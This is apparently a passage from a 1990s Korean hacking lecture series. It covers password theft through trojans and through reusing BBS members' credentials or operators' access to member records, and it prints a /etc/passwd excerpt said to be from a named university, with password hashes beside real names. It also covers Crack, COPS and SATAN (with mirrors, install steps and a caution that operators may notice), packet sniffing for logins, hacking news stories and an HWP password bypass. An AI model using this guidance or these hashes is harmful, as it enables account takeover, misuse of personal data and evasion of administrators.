그러면 사용자는 자신의 실수 또는 시스템의 이상이라고
착각을 하고 다시 자신의 유저이름과 패스워드를 입력을 하게 된다.
그러면 이 트로이 목마 프로그램은 그 정보를 특정 공개 디렉토리에 넣거나, 메일로
해커에게 날려보낸다.
나우누리에서는 이런류의 쪽지기능을 이용하여 해킹한 사례가 있기도 하다.

패스워드 해킹중 가장 확실한 방법을 소개하자면,

자신이 어떤 사설비비에스를 운영한다면 그 사설비비에스에 등록한 회원들의
아이디,비밀번호를 이용하는 방법이 있다.
이는 대개의 사람들이 귀찮아서 동일한 아이디,비밀번호를 사용하는데 착안한 것이다.
많은 숫자의 사람들이 동일한 것을 쓰기에 대형통신망등에서 가능하다.
이 방법과 유사한것으로 천리안,하이텔같은 통신망의 어떤 특정한 동호회 운영자 권한을
가진 사람이 자신에게 보낸 회원들의 신상명세 편지를 이용할 수 가 있다.
거기에는 이름,주소,생년월일,주민등록 등이 있는데
실제로 임의로 20명을 추출하여 테스트해본결과  생일로 한 사람이 2명이었으니
약 10% 의 사용자는 자신의 생일을 패스워드로 사용한다는 결론이 나왔다.
단 절대 악용하여서는 안될것이다.
ID와 같은 PASSWORD , 주민등록번호, 학번,전화번호, 생일,군번 ,영사전에 나오는 단어
등은 패스워드로 사용하는것을 자제하기 바란다.


다음은 유닉스 시스템의 암호에 관한것이다.

UNIX SYSTEM은 각사용자들의 PASSWORD및 기타 정보를 /etc/passwd에 보관하고 있다.

여기를 vi나 cat로 한번 보면......

cat passwd

root:xWcJu5UZ6JLx6,2.gI:0:1:Operator:/:/bin/csh

nobody:*:65534:65534::/:

daemon:*:1:1::/:

sys:*::3::/:/bin/csh

bin:*:3:3::/bin:

uucp:*:4:8::/var/spool/uucppublic:

news:*:6:6::/var/spool/news:/bin/csh

usenet:*:5:5::/var/spool/news:/bin/csh

ingres:*:7:7::/usr/ingres:/bin/csh

audit:*:9:9::/etc/security/audit:/bin/csh

sync::1:1::/:/bin/sync

sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag

sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag

gslee:4iGHcJKiJe6n6,2.iI:213:1003:GueeSang Lee:/home/gslee:/bin/csh

jsbaek:rXuPAiBz03JH6,2.hI:215:1005:JeongSeon Baek:/home/jsbaek:/bin/csh

mokpo:YwvoRt9nkUBPM,2.hI:221:1010:Mokpo National University:/home/mokpo:/bin/csh

hschoi:osui5p1oOAfOo,2.:226:1010:HanSeok Choi (MNUCC):/home/hschoi:/bin/csh

edu:.1k6TgOB2i.GY,2.dI:227:1001:Education Part in CNUCC:/home/edu:/bin/csh

cjj:baNQP96Gh7HSU,2.hI:101:1502:junjoo cho:/home/cjj:/bin/csh

chonnam%

위의것은 사례로서 전남대 교육전산망 chonnam의 passwd file의  일부이다.
실제 이렇게 길지 않고 내용이 다를수있다.

여기에서

hschoi:osui5p1oOAfOo,2.:226:1010:HanSeok Choi (MNUCC):/home/hschoi
 [1]          [2]       [3]  [4]        [5]               [6]
                                                         :/bin/csh
                                                             [7]
위와 같이 7개의 field로 나뉜다.
1.field 사용자이름 - hschoi
2.field 사용자의 password 보통 안보여주거나 암호화 - osui5p1oOAfOo,2
3 field 사용자의 id number - 226
4. 사용자가 속해있는 그룹 아이디 number - 1010
5. 실제 사용자이름[id가 아님] -  HanSeok Choi (MNUCC)
6. 사용자의 홈 디렉토리 - /home/hschoi
7. 사용자가 사용하는 shell - /home/hschoi:/bin/csh

여기서 관심을 가질부분이 2번째 단계이다.
osui5p1o0Af0o,2로 암호화된 부분의 앞 두글자는 원래글자의 끝
단어의 두글자 그러니 ***********os 로 나갈것이다.

그런데 실제 암호와는 틀린 이상한 문자일것이다.
이는 des 기법을 쓴 암호화이다.
처음에 필자가 이것을 보았을때 한번 지워본적이 있었다.
순진한 생각에 암호가 없어질줄 알았지만 웬걸~~
시스템을 날려버려야 했다.
왜냐고?
root로 들어갈수 없었거든~~ 흐흐.
다른 슈퍼유저 권한의 아이디도 만들어놓은 상태가 아니어서..........


그리고 크랙이라는 프로그램이 있다.
이것은 사용자들이 만들만한 password 사전을 내장하여
이 것을 가지고 /etc/passwd 화일을 불러들여 내장 사전의 단어들을 하나씩
암호화 시켜 대조 한다는 것이다. 좀 보기에는 무식한 방법같으나 그 효과
가 탁월해서 SYSTEM관리자들이 다른 알고리즘 또는 crypt(3)의 매개변수 일
부를 변화시켜 사용하면 crack 같은 패스워드 추측 프로그램은 실패된다..
이외에 cops도 있다.

다음시간에 자세히 다루겠다.

실제 이런 류의 유닉스 시스템을 접해보고자 한다면 지금 당장 대형통신망의
자료실에서 "미니 리눅스"라는것을 다운받기 바란다.
미니 리눅스는 도스에서도 완벽히 작동하는 유닉스 운영체제로서
자신이 설치하고 root권한을 갖게 되므로 얼마든지 뜯어볼수 있기 때문이다.
연습용으로 아주 아주 적당한 것이다.









다음은 네트워크 해킹 프로그램 "SATAN" 에 대한 소개를 하겠습니다.

`사탄'은 전화회선이나 인테네트등과 같은 통신망에 의해 외부세계에 연결돼  있는  컴퓨터의
"치명적인 약점"을 찾아내기위해 고안된  새로운 소프트웨어로, `통신망 분석을 위한 보안 실무자
들의 자료'의 약어이다.
`사탄'은 경영자들이 보안상의 허점을 봉쇄, 비인가자들이 컴퓨터에 무단침입해 값진 정보들을 훔
치거나 엉망으로 만드는 사태를 사전에차단할  수 있다.
그러나 악의적인  해커(컴퓨터 침입자)들에게도 방어망의 취약  부분을 드러냄으로  써  집중적인
공격을 받을 수있는 약점도 아울러 지니고있어  큰 문제로 지적되고 있다.
이미 한 소프트웨어 설계자의  일자리를 빼앗은 `사탄'은 마침내 5일  인터네트로 연결된  전세계
의 상당수 컴퓨터에 출현, 컴퓨터  업계를 긴장시켰다.
`사탄'을 설계한 댄 파머등은 해커들이 악용할  수 있다는 우려에 도 불구, 이를 세상에 선보이게
됐다면서 "악용사례에 관한한 컴퓨터  업계도  보안능력을   향상시키 기위해 더 낳은 결정을 내
릴 수있는 만큼 실질적인 악용사례는  감소할 것으로 생각된다"고 말했다.
파머는 당초 지난 1일  `사탄'을 선보일 계획이었으나 이날이 토요일인 관계로 자신의 33회  생일
인 5일 세상에 등장시켰다고 소개했다.
이날 `사탄'의 출현으로 정부기관들과 기업계는 헤커들의 침입에 대비한  조치들을 취하는등 대책
마련에 분주한 상태다.
샌프란시스코 부근  로렌스 리버모어 내셔널 연구소의  컴퓨터 보안 전문가들은 `사탄'의  공격을
컴퓨터 이용자들에게 알려주는 대응 프로그램을 개발,  발빠른 움직임을 과시했다.
그러나 일반가정의 컴퓨터  이용자들에게는 아무런 영향을 미치지 않으며, 또한  기밀정보를 보유
한 군컴퓨터도  그 영향권밖에 있어 위험성이 없다는게  전문가들의 일치된 견해다.
컴퓨터 소프트웨어 `사탄'이 5일 전세계의 상 당수 컴퓨터 통신망에 출현, 비밀유지등 보안문제에
큰 혼란을 불러일으킬지 모른다는  우려를 낳고 있다.
세계 기업과 관공서등 컴퓨터 네트워크를 사용하는 기관들의 보안에 비상이
걸렸다. 컴퓨터 네트워크의 약점을 간단히 알아낼 수 있는 소프트웨어 '사탄'이
5일 (한국시간 6일) 인터넷을 통해 전세계에 공개되기 때문이다. 'Security
Administrator Tool for Analyzing Networks'의 약자인 '사탄' (SATAN) 은
실리콘밸리의 컴퓨터전문가 몇명이 공동 개발한 소프트웨어로 네트워크에 소속된
컴퓨터가 소프트웨어로 네트워크에 소속된 컴퓨터가 아닌 외부라인을 통해 해커와
똑같은 방식으로 시스템에 침칩, 보안상의 약점을 찾아낼 수 있도록 프로그래밍돼
있다.
'네트워크 분석용 보안관리방법 '이라는  명칭이 의미하듯 해커들에게 노출될 수 있는  약점을 사
전에 발견, 이에 대한 보완조치를  하도록 해주는 유익한 소프트웨어라는 것이 '사탄'을 만들어낸
사람들의 주장이다.
'사탄'은 또 그래픽모드로 돼 있어 누구나 마우스를 사용해 쉽게 사용할 수 있다는
점이 기존의 보안검색프로그램들에 비해 뛰어난 장점으로 평가되고 있다.
개발자 가운데 한사람으로 지난달까지 캘리포니아주에 있는 실리콘그래픽사에서
컴퓨터 보안담당 전문가로 일해온 앤 파머씨는 '사탄은 모든 보안상의 약점을
일일이 점검해볼 시간이 없는 관리자들에게 획기적인 프로그램'이라며 이를
인터넷을 통해 5일 공개하겠다고 공언해왔다.
그러나 많은 전문가들은 이 프로그램이 오히려 '사탄'이라는 약자에 걸맞는
무시무시한 결과를 낳을 것으로 우려하고 있다. 예정대로 이 프로그램이 인터넷에
공개돼 누구나 공짜로 전송받게되면 전세계의 모든 네트워크가 해커의 공격에
무방비상태가 되는 것이나 마찬가지라는 우려다. 네트워크 관리자들이 '사탄'을
사용해 약점을 발견, 이를  보완하기 전에 해커가 먼저 이를 사용해 약점을
알아낸다면 간단히 시스템을 파괴할 수 있게 되기 때문이다.
그러나 우려의 목소리만 있는 것은 아니다. 트러스티드 인포메이션 시스템사에서
인터넷 보안을 연구하고 있는 마커스 래넘씨는 '위험은 항상 존재하는 것'이라며
'사탄은 네트워크를 직접 운영하는 사람들에게는 크게 도움이 될 것'이라고
말했다. '사탄'과 같은 프로그램은 공개를 제한해야 한다는 회사측 입장과 마찰을
빚어 회사를 그만두기까지 한 댄 파머씨도 '유익한 프로그램을 공유하는 것은
가치있고 긍정적인 일'이라며 한술 더 떠 '현재의 사탄을 더욱 개량, 약점을
발견하는데 그치지 않고 실제로 침투까지 해보이는 개정판도 곧 공개할
계획'이라고 밝혔다.

다음은 사탄(SATAN) 을 구할 수 있는곳입니다.

사탄이 있는 FTP 사이트의 도메인 이죠.
인터넷을 통해 이곳으로 접속하면 쉽게 DOWN 받을수 있을수 있습니다.
국내 통신망에도 꽤 여러곳에 올라왔으나 이곳들은 이외에도 여러 유용한 것들이 많으니
한번쯤 접속해보기 바랍니다.
   ftp://ftp.mcs.anl.gov/pub/security
    ftp://coast.cs.purdue.edu/pub/tools/unix/satan
    ftp://vixen.cso.uiuc.edu/security/satan-1.0.tar.Z
    ftp://ftp.denet.dk/pub/security/tools/satan/satan-1.0.tar.Z
    http://ftp.luth.se/pub/unix/security/satan-1.0.tar.Z
    ftp://ftp.luth.se/pub/unix/security/satan-1.0.tar.Z
    ftp://ftp.dstc.edu.au:/pub/security/satan/satan-1.0.tar.Z
    ftp://ftp.acsu.buffalo.edu/pub/security/satan-1.0.tar.Z
    ftp://ftp.acsu.buffalo.edu/pub/security/satan-1.0.tar.gz
    ftp://ftp.net.ohio-state.edu/pub/security/satan/satan-1.0.tar.Z
    ftp://ftp.cerf.net/pub/software/unix/security/
    ftp://coombs.anu.edu.au/pub/security/satan/
    ftp://ftp.wi.leidenuniv.nl/pub/security
    ftp://ftp.cs.ruu.nl/pub/SECURITY/satan-1.0.tar.Z
    ftp://ftp.cert.dfn.de/pub/tools/net/satan/satan-1.0.tar.Z
    ftp://cnit.nsk.su/pub/unix/security/satan
    ftp://ftp.csi.forth.gr/pub/security/satan-1.0.tar.Z
    ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl/satan-1.0.tar.Z
    ftp://ftp.informatik.uni-kiel.de/pub/sources/security/MIRROR.ftp.win.tue.nl
    ftp://ftp.kulnet.kuleuven.ac.be/pub/mirror/ftp.win.tue.nl/security/
    ftp://ftp.tisl.ukans.edu/pub/security/satan-1.0.tar.Z
    ftp://ftp.ox.ac.uk/pub/comp/security/software/satan/satan-1.0.tar.Z

다음은 사탄(SATAN) 인스톨 방법입니다.
사탄 프로그램을 깔기 위해 필요한 환경으로는 하드웨어적인 환경과 인스톨을 위해
요한 프로그램으로 나눌수 있다.
하드웨어적인 환경은 0MByte의 하드 디스크(  사탄 프로그램 자체는 약 2MB정도임) 와
Memory( 메모리)는 스캔하고자 하는 시스팀의 수에 따라서 필요한 메모리 용량이 달라진다.
만약 사탄으로 어떤 서브 네트에 있는 모든 시스팀을 스캔하고자 할때는 엄청나게 많은 메모리를
필요로 한다.
readme에 의하면 1500 시스팀을 스캔하는데 14MB정도가 필요하다고 한다.
Platform 으로는     SunSPARC 또는 Indigo 2 를 들수있겠다.
소프트웨어적인 환경  으로는 OS는     SunSPARC에서는  Sunos4.1.3_U1, Sunos5.3이 필요하고
Indigo에서는 Irix5.3이   필요하다.
그리고  사탄을 인스톨할  때 필요한  프로그램은    -  PERL5.0이상   - Mosaic2.5  이상 또는
Netscape1.0이상 이 필요하다.
PERL 5.000 은 일종의 프로그래밍 언어로서 유연성을 가진다.

PERL 5.000이 있는곳은,

    Location: /.a/aid/disk2/src
      DIRECTORY drwxrwxr-x       4096  Dec 21 17:09  perl5.000

Host ftp.cdrom.com

    Location: /.21/perl/doc/formatted
      DIRECTORY drwxrwxr-x        512  Jan 14 00:50  perl5.000
    Location: /.21/perl/doc/unformatted
           FILE -rwxrwxr-x         27  Jan 12 02:01  perl5.000
    Location: /.21/perl/perlsrc
      DIRECTORY drwxrwxr-x       2048  Jan 12 02:22  perl5.000

Host hpsystem2.informatik.tu-muenchen.de

    Location: /pub/comp/gnu
      DIRECTORY dr-xr-xr-x          0  Oct 20 06:35  perl5.000

Host ftp.uni-kl.de

    Location: /pub1/packages/gnu
      DIRECTORY drwxr-xr-x        512  Dec  5 09:56  perl5.000

Host gundel.zdv.uni-mainz.de

    Location: /pub/gnu
      DIRECTORY drwxr-xr-x        512  Dec  6 01:16  perl5.000

Host ftp.physik.uni-muenchen.de

    Location: /a/tum1.leo.org/archive/isar/.mntpts/tum.info-pub1/pub/comp/gnu
      DIRECTORY drwxrwxr-x       1024  Oct 20 07:35  perl5.000

Host cair-archive.kaist.ac.kr

    Location: /.2/Lang/perl/doc/formatted
      DIRECTORY drwxr-xr-x        512  May  9 08:30  perl5.000
    Location: /.2/Lang/perl/doc/unformatted
           FILE -rwxrwxrwx         27  May  9 08:30  perl5.000
    Location: /.2/Lang/perl/perlsrc
      DIRECTORY drwxr-xr-x       2048  Mar 19 21:19  perl5.000

Host news.umu.se

    Location: /src
      DIRECTORY drwxr-xr-x        512  Dec 15 20:25  perl5.000
    Location: /usr/perl5/sol2/bin
           FILE -rwxr-xr-x     466568  Dec  1 19:08  perl5.000
    Location: /usr/perl5/sun4/bin
           FILE -rwxr-xr-x     507904  Dec  1 17:43  perl5.000
    Location: /usrnew/sol2/bin
           FILE -rwxrwxrwx         28  Dec  2 05:18  perl5.000
    Location: /usrnew/sun4/bin
           FILE -rwxrwxrwx         28  Dec  2 05:14  perl5.000

이다.

실제 인스톨 방법은,

satan-1.0.tar.Z나 .gz를 받아와서 압축을 푼다음
%reconfig
%make
를 하면 되는데 미리 perl과 www broswer가 인스톨되어 있어야 한다.
mosaic이나 netscape의 path를 바꾸고자 할 때는 config/paths.pl에서 mosaic이나
netscape의 path를 바꾸어주면 된다.
실제로 사탄을 돌려서 몇몇 시스팀을 스캔해 본 결과 엄청나게 심각한  보안상의
문제가 있음을 발견하였다.
어떤 시스팀은 아예 무방비 상태로 super user들어 갈수  있는 곳도 있었다.

이와 관련된 것으로, 컴퓨터해커 추적 `CERT코리아'가 결성되었다.
세계 최대 통신망 인터네트와 연결된 국내 전산망을 컴퓨터 해커
로부터 보호하는 통신보안 전문가 그룹이 국내에서 처음으로 결성됐다.
국내 통신보안 전문가들로 구성된 한국인터네트 보안그룹은 최근
국내 해커 추적과  국제적인 해커에 대한 수사 전담 창구 역할을 담당할
`CERT(Computer Emergency Response Team) 코리아'를 결성한 데 이어 대
덕연구단지내 시스템공학연구소(SERI)에 사무국을 설치하고 오는6월부터
본격적인 활동에 들어가기로 했다고 27일 밝혔다.
CERT 코리아는 이에따라 국내 학술.연구용 전산망의 보안사고 접
수및  처리, 해외 해킹사고의 국내협력 창구 역할을 맡게 된다.
또 해외 해킹사고를 분석, 그 내용을 국내 인터네트 가입 기관 및
국가기간전산망 관리자에게 알려 해커로부터 국내 전산망을 보호하는 일
도 담당한다.
CERT 코리아는 이를 위해 전문가그룹과 전산망지원 그룹으로 하부
조직을 구성하고 전자서비스 지원체계를 구축하는 한편 보안지침서및 보
안도구를 개발하고 방화벽 시스템을 구성, 전자우편.폰북.컨설팅 서비스
를 인터네트 가입자에게 제공할 방침이다.


다음 몇가지 해킹관련 이야기를 소개하겠다.

라디오방송국 공개 퀴즈프로그램 도중 컴퓨터를 이용해 자신이 지
정한 사람만이 통화할 수 있도록 방송국으로  연결되는 전화선을 차단
해상품과 상금을 챙긴 컴퓨터 해커가 징역 4년에 5만8천달러의 벌금형
을 선고받았다.
전직 국방부 안보고문인 케빈 리 폴슨(29)은 지난 89년 KIIS-FM과
KPWR-FM, KRTH-FM  방송국의 공개퀴즈 프로그램 도중 컴퓨터를 이용해
외부전화를 모두차단, 자신과 자신의 친구,친척들만 통화할 수 있도록
하는 부정한  방법으로 포르셰자동차와  2차례의 하와이 여행권, 현금
2만2천달러 등의 경품을 불법으로 가로챘다는 것이다.
미국내 컴퓨터 해커중 가장 강력한 제재를 받게 된 폴슨은 이밖에
도 전시에 적국으로부터 공격을 받을 수 있는 구조물의 이름과 위치가
적힌 미공군의 비밀서류를 불법으로 빼낸 혐의도 함께 받고 있다.

이쯤되면 대단하죠?
다음은 한동안 떠들썩했던 해커 미트닉에 대한 기사죠.

"세계적으로 지명 수배됐던 컴퓨터 해커"의 체포는 미국 캘리 포
니아주에 사는 한 일본 출신의 컴퓨터 전문가가 미연방수사국(FBI)  요원
들을 결정적으로 도운 덕분이라고 경찰 관계자가 16일 밝혔다.
수사관들은 시모무라 쓰토무(30) 라는 일 컴퓨터 전문가의 도움
으로 15일 아침 미노스 캐롤라이나주 롤리에 있는 해커 용의자 케빈 미트
닉(31)의 아파트를 찾아낸 것으로 알려졌다.
시모무라씨는 샌디에고 수퍼 컴퓨터센터에서 근무하던 중 지난해
12월 자신의 컴퓨터에 해커가 침입해 시스템을 엉망으로 만들어 놓은  것
을 알게된 뒤, 범인을 추적해왔다.
시모무라씨는 그동안 이 해커 용의자가 동료 컴퓨터 전문가들 및
전화기록 등의 도움으로 주기적으로 전세계 인터네트망에 침입했음을  밝
혀냈으며 수사관들은 무선 주파수 방향탐지기 안테나를 사용해 범인의 소
재지 범위를 축소시키는 작업을 벌여왔다.
미트닉은 지난 82년 미공군사령부 컴퓨터에 침입한 것을 비롯해
수 차례 미군용 컴퓨터 등에 잠입해 2년동안 수배를 받아왔다.
         그는 이날 체포됨에 따라 수천건의 자료 파일과 최소한 2만개의
신용카드번호 등을 훔쳐 사용한 혐의등으로 기소됐다.
        샌프란시스코의 한 변호사는 뉴욕타임스와의 회견에서 "미트닉은
전세계적으로  지명 수배를  받아온 인물"이라고 말하고 "그는 이미 무역
회사의 컴퓨터에도 침입해 수십억달러에 달하는 무역 관련 자료도 유출시
킨 바 있다"고 말했다.
        수사당국은 그의 최대 실수는 컴퓨터 보안전문가들까지 목표물로
삼음으로써  결국  보안전문가들의 화를 돋구어 그를 꼭 잡겠다는 마음을
먹도록 만든 것이었다고 말했다.

         FBI는 컴퓨터 보안전문가들의 도움을 얻어 노스캐롤라이나주 롤
리에 있는 그의 아파트까지 추적해 붙잡는데 성공했다.
         미트닉은 유죄가  인정될 경우 최고 징역형을 20년까지 받을 수
있는데 이미 캘리포니아에서도 컴퓨터 불법침입혐의로  그를 수배해 놓고
있는 상태다.
         그는 지난 92년이후 도망자로 생활해오면서 미국의 수많은 전화
망에 침투한 것을  비롯해 각종 컴퓨터 범죄를 저질러왔으며 가장 최근에
는 인터네트 컴퓨터망에 침입한 혐의를 받고 있다. 미법무부의 한 대변인
은 그를 "컴퓨터 테러리스트"라고 말했다.


미국방부 컴퓨터는 해커들의 좋은 표적이 되고있다.
영국의 16세 소년이 국방부 연구소 데이터  뱅크에 접근해,미사일 탄두,전투기 계획,장비,급료,인사
관리 내용,그리고 북한핵 위기가  최고조에 달했을 당시  대북한 정보요원들의 통신자료  등을 빼
냈다고 전했다.
미국방부는 지난 여름 정체불명의  해커가 7개월 동안 인터네트
에 접속된 군사정보 네트워크인 '밀네트'를 통해 국방부의 데이터뱅크의
정보를 빼갔다고 시인한 바 있다.
미국방부는 국방부의 데이터가 이 해커에 의해 대체되고 삭제되거나 혹은 도난당했다고 밝혔다.

우리나라 해커들중에도 이정도 실력을 갖춘 사람들이 있을지언데 잠잠하니........


 컴퓨터를 이용한 예금도둑, 기밀정보 절취, 신상기록 밀거래, 해킹등 첨단범죄가
잇따르고 있다. 컴퓨터가 본격적으로 보급되기 시작한 지난 80년이후 94년 상반기까
지 우리나라 금융기관및 공공기관에서 발생한 각종 컴퓨터범죄는 79건에 이르고 있
다. 올들어서도 홈뱅킹서비스를 이용, 남의 계좌에서 돈을 불법인출한 사건과 회사
전산망에 입력된 고객들의 개인신상정보를 돈을 받고 유출시킨 사건이 발생했다.
  컴퓨터범죄는 종래의 전통적 범죄와는 구별되는 새 유형의 범죄이다. 또 그 폐해
가 엄청나게 크고 광범위하게 영향을 미칠 수 있으며 범죄의 발견이 어렵다. 이같은
 컴퓨터범죄는 정보화의 진전에 따라 더욱 자주 발생하고 수법도 다양화 지능화할
것이다. 해커들과 연계된 범죄조직들이 금융 보험 증권사의 컴퓨터망을 노릴 수도
있다. 정부나 공공기관의 주요 전산망에 해커가 침입, 기밀을 빼내거나 입력자료를
파괴 교란시킬 경우 국가적 위기상황까지 초래할 가능성이 있다.
  컴퓨터범죄에 대한 대책은 더 이상 미룰 수가 없다. 관리체계및 기술상의 보안대
책은 물론이고 법과 제도의 정비를 서둘러야 한다. 고도의 전문기술범죄인 컴퓨터범
죄에 대한 전문수사요원의 확보, 수사기술의 개발, 수사체제의 정립도 시급하다.
국내에서는 국방망, 공안망은 독립망이고 독립망은 아니지만 X.25프로토콜로
구성된 금융망의 경우 해커침입이 소프트적으론 불가능하지만 이번에 해킹을
당한 교육 연구망만은 유일하게 TCP/IP프로토콜을 채택하고 있어 해커들의
온상지가 되고 있다.
금융망은 아직 해킹을 당한 사례가 없고 국방망, 공안망은 폐쇄사용자를
지원하는 독립망으로 구성돼 안전성에 관한한 문제가 없다고 일부에서는
주장하고 있다.
일반적으로 해커는 망을 연결하는 단자의 중간부분에   언제든지 접속해 해킹하는 등 점점 그 수
법이 다양해지고 있다.
특히 금융망의 경우는 X.25프로토콜에 대한  해킹사례가 없을 뿐이지 결코 안전한 시스팀은 아니
며 대형금융사고도 언제든지 일어날 수있다.
국내전산망자체가 교육 연구망을 제외하고는
아직은 인터넷 TCP/IP 프로토콜보다는 X.25프로토콜을 채용 또는 독립망으로
구성돼 있는 점 등으로 일단은 안전하고 평가하고 있다.
전산망 시큐리티 보강을 위해서는 네트웍 환경에서 암호키와 복구키를 비교
검증하는 데이터 인증과 무결성이 보장돼야 하며, 퍼블릭키를 사용한 키값의
암호화로 전산망 보안대책을 강구해야할것이다.
퍼블릭키란 암호키와 복구키 등 2쌍의 키를 사용해 데이터 안정성과 보안성을
효율적으로 높이수 있는 방법으로, 암호화하는 데 시간과 비용은 많이 든다는
단점이 있지만 한개의 키를 사용하는 것보다 보안성이 뛰어난 장점이 있다.
정교수는 향후 네트웍 환경은 랜 대 랜으로 갈 것이며, 이에따른 전산망
보안대책으로는 랜 방호벽 설치로 외부에서 접속해 오는 인바운드 보안 뿐만
아니라, 내부 자료가 외부로 유출되는 아웃바운드 보안까지도 신경을 써야
한다.
  국가기간 전산망을 비롯, 주요기관에 설치된 컴퓨터는 나름대로의 보안장치를 마
련해 놓고 있기는 하지만 해킹수법 또한 날로 고도화, 완벽한 차단에는 어려움이 있
는 것이 사실이다. 그러나 우선 주요 시스템에 대해 다중암호체계를 도입 운용하며
기밀사항은 전산망에서 격리시키고 보안전담기구를 두어 감시활동을 강화해야 한다.
 장기적으로는 미국의 컴퓨터위기대응팀과 같은 컴퓨터안전대책기구의 설치등이 추
진되어야 한다.
  미국연방정부의 지원으로 운영되는 컴퓨터위기대응팀은 보안침해 사례의 접수및
대응책의 전수, 보안관련 정보및 소프트웨어등의 배포, 다른 기관 조직과의 연계체
제 구축과 정보수집, 보안관련 전문가 양성등의 역할을 수행하고 있다.
  현행 법체계의 보완 정비도 필요하다. 형법에 컴퓨터사기 컴퓨터스파이 컴퓨터부
정사용죄등의 신설은 물론 업무방해죄와 문서에 관한 죄, 비밀침해죄등도 손질해야
한다.



다음시간에 사탄,크랙,캅스 등에 대해 더 다뤄보겠다.


안녕하세요.
15회강좌입니다.

이번시간에는  유닉스 해킹 프로그램 몇가지 이야기와 배치보충
그리고 HWP 암호 해독에 관한 모든 사항을 소스 공개하며 이야기 하겠습니다.


전부터 패스워드 관리가 무척이나 중요하다고 말했을것이다.
유닉스 상에서 패스워드를 추적할 수 있는 툴을 소개하겠다.
대표적인 것으로 COPS 와 CRACK 가 있다.
유닉스를 사용하고 있는 사용자라면 충분히 개인적으로 이것을 시스템하에서 돌려볼수 있다.
단, 시스템 로드를 많아 잡기때문에 시스템이 느려져 운영자가 체크할 수 있으니 주의바란다.
COPS 는 파일,디렉토리,디바이스 퍼미션,쉬운 패스워드 등을 검사한다.
CRACK 는 패스워드 화일을 검사해서 쉽게 추측가능한 패스워드를 찾아내어 알려준다.
프롬프트 상에서 단순히 CRACK  이라고 치면 결과를 저장한 화일이 생성된다.
이것을 CAT(도스의 TYPE과 비슷하다고 배웠죠?)을 이용해 보면 결과치가 나온다.
결과같을 보면 영문으로 간단히 작성한 패스워드는 쉽게 걸린다.
그래서 패스워드를 설정할때는 어려운 기호나 한글등으로 작성하는 것이 좋을것이다.
COPS 와 CRACK 는 카이스트,서강대 서버에서도 제공한다.
구하고자 하는 분은 연락주시기 바랍니다. 단, 유닉스!!!
유닉스 보안에 대해서는 다음에 더 설명하겠습니다.

SATAN (사탄)에 대해서 전 시간에 말씀드렸습니다.
사탄이란 이름에 거부감을 갖는 사람들은 산타 라고도 하더군요.
사탄은 원래 Security Analaysis Tool for Auditing Networks 의 약자입니다.
COPS 가 보안사항만을 체크해주나  사탄은 NFS,NIS 로 물린 타 호스트의 보안까지도  체크하도
록 확장한 것이다.
이를 악용하면 자신이 해킹하고 싶은 원격 호스트의 보안을 알아낼수 있을 것이다.
하지만 실제 사탄을 이용하는 해커는 흔치않다.
세계에서 내노라  하는 유명한 해커들은 자신들만의  독특한 하드웨어/소프트웨어적인 해킹 툴을
가지고 있기 때문이다.
사탄은 아주 쉽게 일반인들도 사용할수 있다.
GUI 형태로 마우스 몇번 움직이면 되기 때문이다.

이외에 PACKERMAN 과 ETHERMAN 이라는 프로그램을 들수 있다.
이것은 ftp:\\ciac.ini.gov/ciac 에서 구할수 있다.
인터넷은 네트워크의 망이다.
만약 어떤 편지들을 보낼경우 반드시 다른 망을 경유해야 할것이다.
바로 이것을 노리고 도청을 하는 것이다.
물론 음성이 아닌 패킷을 훔치는 것이다.
packerman은 곧 쉽게 로그인과 패스워드를 훔칠수 있다는 얘기다.
즉 etherman으로 전송 다량 발생지점을 골라 위의 것으로 체킹하는 것이다.




다음은 전에 배치강좌 보충입니다.
디바이스 아시죠?
 > xxx 이런식으로 출력을 지정한다는거 배우셨을겁니다.
다음은 그런 디바이스 출력 장치들 정리입니다.


  AUX      :  최초의 비동기(Asynchronous)통신 포트(시리얼 통신에 사용)
  COM1     :  역시 최초의 비동기 통신 포트(시리얼 통신에 사용)
  COM2     :  두번째 비동기 통신 포트(시리얼 통신에 사용)
  COM3     :  세번째 비동기 통신 포트(시리얼 통신에 사용)
  COM4     :  네번째 비동기 통신 포드(시리얼 통신에 사용)
  CLOCK$   :  시스템의 real-time clock
  CON      :  입력시 키보드, 출력시 스크린을 나타낸다
  LPT1     :  첫번째 패러럴 프린터 포트
  LPT2     :  두번째 패러럴 프린터 포트
  LPT3     :  세번째 패러럴 프린터 포트
  PRN      :  첫번째 패러럴 프린터 포트
  NUL      :  존재하지 않는 디바이스 , 화면에 표시되지 않게 한다.


아래한글 2.X 암호 해독 사건

아래한글 2.X 의 암호 크랙(CRACK) 사건 개요

슈퍼컴퓨터로도 1백30년이상 걸려야 겨우 풀 수있다는  아래아한글의
문서암호를 27세된 한 청년 컴퓨터전문가가 간단히 풀어냈다.

    아래아한글 제작사인 한글과컴퓨터(한컴)사는 그간 "문서잠금 암호기
능이 42억9천4백96만7천2백95개의 숫자를 조합해 만든 것이기에 어떤  전
문가도 감히풀 수 없다"고 장담해온 터였다.

    컴퓨터를 이용한 전통적인 암호해독법은 코드 자동입력 소프트웨어를
써서 각가지 경우의 수를 빠른 속도로 무작위 입력시켜 보는 방법에 의존
하는 것이었다.

    그러나 화제의  이승욱씨(27.서울대 대학원 컴퓨터공학과 졸)가 행한
방법은  전혀달 랐다.

    이씨는 아래아한글 문서파일이 「HWP 2.1..XXXXXX」로 시작되는 머리
부분(해더)에 암호가 들어가며 이어 엔터(ENTER)키 코드가 들어가고 본문
내용은 그뒤에 따라오는 사실을 알았다.

    그는 문서파일의 이같은 규칙성에 주목했다.

    만일 프로그램이  문서파일에 처음 나오는 앤터키 코드값(16진법으로
는 0D)을 찾아내 이것 이전부분에 있는 숫자나 문자(즉 암호)는 무시하고
그 뒷부분만 읽어들이면 원래의 암호는 해독할 필요조차 없어질 것이다.

    결국 암호 자체를 해독하는 것이 아니라 아예 건너뛰어버리는 기발한
"발상의 전환"이 바로 해답이었다.

    그는 원래 한컴이 제공하는 AT급이하  구형컴퓨터용 아래한한글(꼬마
아래아한글)실행파일을 역엔지니어링(디스어셈블링)과 디버깅 기법을  이
용, 이처럼 문서암호 체제를 아예 무시하고 문서파일을 읽어들이도록  개
조한 'HAN21.EXE' 프로그램을  만들었다.

    이씨는 이같은 방법의 구상이 떠오르까지는 수개월이 걸렸지만  정작
프로그램개조를 하는데는 단지 며칠밖에 걸리지 않았다고 말했다.
